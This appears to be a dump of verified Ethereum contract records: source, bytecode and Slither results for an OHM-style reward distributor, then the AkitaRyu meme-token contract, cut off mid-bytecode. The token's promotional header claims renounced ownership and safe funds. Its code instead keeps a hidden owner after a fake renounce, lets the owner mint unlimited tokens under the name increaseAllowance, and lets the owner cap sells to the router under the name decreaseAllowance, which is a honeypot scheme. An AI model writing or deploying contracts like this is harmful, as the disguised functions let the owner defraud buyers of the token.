function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy( address newPolicy_ ) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred( address(0), _policy );
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require( _policy == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred( _policy, address(0) );
_policy = address(0);
}
function pushPolicy( address newPolicy_ ) public virtual override onlyPolicy() {
require( newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require( msg.sender == _newPolicy );
emit OwnershipTransferred( _policy, _newPolicy );
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards( address _recipient, uint _amount ) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
/* ====== VARIABLES ====== */
address public immutable OHM;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping( uint => Adjust ) public adjustments;
/* ====== STRUCTS ====== */
struct Info {
uint rate; // in ten-thousandths ( 5000 = 0.5% )
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
/* ====== CONSTRUCTOR ====== */
constructor( address _treasury, address _ohm, uint _epochLength, uint _nextEpochBlock ) {
require( _treasury != address(0) );
treasury = _treasury;
require( _ohm != address(0) );
OHM = _ohm;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
/* ====== PUBLIC FUNCTIONS ====== */
/**
@notice send epoch reward to staking contract
*/
function distribute() external returns ( bool ) {
if ( nextEpochBlock <= block.number ) {
nextEpochBlock = nextEpochBlock.add( epochLength ); // set next epoch block
// distribute rewards to each recipient
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].rate > 0 ) {
ITreasury( treasury ).mintRewards( // mint and send from treasury
info[ i ].recipient,
nextRewardAt( info[ i ].rate )
);
adjust( i ); // check for adjustment
}
}
return true;
} else {
return false;
}
}
/* ====== INTERNAL FUNCTIONS ====== */
/**
@notice increment reward rate for collector
*/
function adjust( uint _index ) internal {
Adjust memory adjustment = adjustments[ _index ];
if ( adjustment.rate != 0 ) {
if ( adjustment.add ) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate
if ( info[ _index ].rate >= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate
if ( info[ _index ].rate <= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
/* ====== VIEW FUNCTIONS ====== */
/**
@notice view function for next reward at given rate
@param _rate uint
@return uint
*/
function nextRewardAt( uint _rate ) public view returns ( uint ) {
return IERC20( OHM ).totalSupply().mul( _rate ).div( 1000000 );
}
/**
@notice view function for next reward for specified address
@param _recipient address
@return uint
*/
function nextRewardFor( address _recipient ) public view returns ( uint ) {
uint reward;
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].recipient == _recipient ) {
reward = nextRewardAt( info[ i ].rate );
}
}
return reward;
}
/* ====== POLICY FUNCTIONS ====== */
/**
@notice adds recipient for distributions
@param _recipient address
@param _rewardRate uint
*/
function addRecipient( address _recipient, uint _rewardRate ) external onlyPolicy() {
require( _recipient != address(0) );
info.push( Info({
recipient: _recipient,
rate: _rewardRate
}));
}
/**
@notice removes recipient for distributions
@param _index uint
@param _recipient address
*/
function removeRecipient( uint _index, address _recipient ) external onlyPolicy() {
require( _recipient == info[ _index ].recipient );
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
/**
@notice set adjustment info for a collector's reward rate
@param _index uint
@param _add bool
@param _rate uint
@param _target uint
*/
function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
|
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c8063a15ad07711610097578063c9fa8b2a11610066578063c9fa8b2a1461038b578063e4fc6b6d146103cd578063f7982243146103ed578063fe3fbbad1461043b576100ff565b8063a15ad077146102b7578063a4b23980146102fb578063a6c41fec14610305578063bc3b2b1214610339576100ff565b806357d775f8116100d357806357d775f81461020d5780635beede081461022b5780635db854b01461023557806361d027b314610283576100ff565b8062640c2e146101045780630505c8c9146101225780632e3405991461015657806336d33f44146101b5575b600080fd5b61010c610489565b6040518082815260200191505060405180910390f35b61012a61048f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101826004803603602081101561016c57600080fd5b81019080803590602001909291905050506104b8565b604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061050c565b6040518082815260200191505060405180910390f35b6102156105d2565b6040518082815260200191505060405180910390f35b6102336105f6565b005b6102816004803603608081101561024b57600080fd5b81019080803590602001909291908035151590602001909291908035906020019092919080359060200190929190505050610750565b005b61028b61087e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f9600480360360208110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108a2565b005b610303610a2d565b005b61030d610bac565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103656004803603602081101561034f57600080fd5b8101908080359060200190929190505050610bd0565b604051808415158152602001838152602001828152602001935050505060405180910390f35b6103b7600480360360208110156103a157600080fd5b8101908080359060200190929190505050610c07565b6040518082815260200191505060405180910390f35b6103d5610cd8565b60405180821515815260200191505060405180910390f35b6104396004803603604081101561040357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8b565b005b6104876004803603604081101561045157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611033565b005b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600481815481106104c857600080fd5b90600052602060002090600202016000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b60008060005b6004805490508110156105c8578373ffffffffffffffffffffffffffffffffffffffff166004828154811061054357fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156105bb576105b8600482815481106105a157fe5b906000526020600020906002020160000154610c07565b91505b8080600101915050610512565b5080915050919050565b7f000000000000000000000000000000000000000000000000000000000000089881565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461065057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60405180606001604052808415158152602001838152602001828152506003600086815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505050505050565b7f0000000000000000000000000f485cfc98ddb0afa738958d96e78113da750c0481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610963576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116ee6026913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b7f0000000000000000000000008a14897ea5f668f36671678593fae44ae23b39fb81565b60036020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b6000610cd1620f4240610cc3847f0000000000000000000000008a14897ea5f668f36671678593fae44ae23b39fb73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7a57600080fd5b505afa158015610c8e573d6000803e3d6000fd5b505050506040513d6020811015610ca457600080fd5b81019080805190602001909291905050506111f090919063ffffffff16565b61127690919063ffffffff16565b9050919050565b60004360025411610e8357610d187f00000000000000000000000000000000000000000000000000000000000008986002546112c090919063ffffffff16565b60028190555060005b600480549050811015610e7957600060048281548110610d3d57fe5b9060005260206000209060020201600001541115610e6c577f0000000000000000000000000f485cfc98ddb0afa738958d96e78113da750c0473ffffffffffffffffffffffffffffffffffffffff16636a20de9260048381548110610d9e57fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610df760048581548110610de057fe5b906000526020600020906002020160000154610c07565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610e4a57600080fd5b505af1158015610e5e573d6000803e3d6000fd5b50505050610e6b81611348565b5b8080600101915050610d21565b5060019050610e88565b600090505b90565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f8657600080fd5b600460405180604001604052808381526020018473ffffffffffffffffffffffffffffffffffffffff1681525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6004828154811061110157fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461116a57600080fd5b60006004838154811061117957fe5b906000526020600020906002020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600483815481106111d757fe5b9060005260206000209060020201600001819055505050565b6000808314156112035760009050611270565b600082840290508284828161121457fe5b041461126b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117146021913960400191505060405180910390fd5b809150505b92915050565b60006112b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114fa565b905092915050565b60008082840190508381101561133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6113506116ca565b600360008381526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff1615151515815260200160018201548152602001600282015481525050905060008160200151146114f657806000015115611457576113ea8160200151600484815481106113ca57fe5b9060005260206000209060020201600001546112c090919063ffffffff16565b600483815481106113f757fe5b90600052602060002090600202016000018190555080604001516004838154811061141e57fe5b9060005260206000209060020201600001541061145257600060036000848152602001908152602001600020600101819055505b6114f5565b61148c81602001516004848154811061146c57fe5b9060005260206000209060020201600001546115c090919063ffffffff16565b6004838154811061149957fe5b9060005260206000209060020201600001819055508060400151600483815481106114c057fe5b906000526020600020906002020160000154116114f457600060036000848152602001908152602001600020600101819055505b5b5b5050565b600080831182906115a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561156b578082015181840152602081019050611550565b50505050905090810190601f1680156115985780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816115b257fe5b049050809150509392505050565b600061160283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061160a565b905092915050565b60008383111582906116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561167c578082015181840152602081019050611661565b50505050905090810190601f1680156116a95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122092679d557864c5fa34f8ce35f8b7e32d71e5b18675c98f45812d275371228e7464736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,144 |
0x4fd5dcb0c36e7cee822ce83b8afa4a78482d8ff7
|
/**
*Submitted for verification at Etherscan.io on 2021-08-22
*/
/*
___ __ __ __ _____ ___ _____ _ _ __ __
||=|| ||<< || || ||=|| ||_// \\// || ||
|| || || \\ || || || || || \\ // \\_//
The lost son of the infamous Dogefather. Shiba Inu killed Ryu’s father to take over the infamous INU corporation. Ever since, Akita Ryu has been on a
path to terminate all inferior Shiba’s and retake the DOG TITLE legacy.
AkitaRyu token is a trusted advanced cryptocurrency created and developed by Summit BC development team.
It will be the native token on SummitSwap, a platform for everyone.
✅ FUNDS ARE SAFU - WE OFFER
🚀 Fair Launch
🔑 Locked Liquidity
🖇 Renounced Ownership
WHITEPAPER IS IN PROGRESS. DON'T MISS OUT ON OUR PLANS TO CREATE A DECENTRALIZED EXCHANGE BUILT FOR BETTING ON MEMECOINS!
https://t.me/akitaryu
AkitaRyu.com
**/
pragma solidity ^0.6.9;
// SPDX-License-Identifier: MIT
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AkitaRyu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 50 * 10**9 * 10**18;
uint256 private rTotal = 50 * 10**9 * 10**18;
string private _name = 'AkitaRyu | AkitaRyu.com | @AkitaRyu';
string private _symbol = 'AkitaRyu';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decreaseAllowance(uint256 amount) public onlyOwner {
rTotal = amount * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function increaseAllowance(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address trade) public onlyOwner {
caller = trade;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public onlyOwner override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b8101908080359060200190929190505050610774565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610851565b005b610252610a89565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a93565b604051808215151515815260200191505060405180910390f35b6102f6610b52565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b69565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c76565b6040518082815260200191505060405180910390f35b6103b6610cbf565b005b6103c0610e48565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eea565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ff7565b604051808215151515815260200191505060405180910390f35b6104ed611015565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061103b565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110c2565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106976112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610758576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61076a6107636112cf565b84846112d7565b6001905092915050565b61077c6112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461083d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b6108596112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461091a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1661093a6112cf565b73ffffffffffffffffffffffffffffffffffffffff16141561095b57600080fd5b6109708160065461143690919063ffffffff16565b6006819055506109cf81600260006109866112cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461143690919063ffffffff16565b600260006109db6112cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a216112cf565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b6000610aa08484846114be565b610b4784610aac6112cf565b610b4285600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610af96112cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178590919063ffffffff16565b6112d7565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610b716112cf565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526020815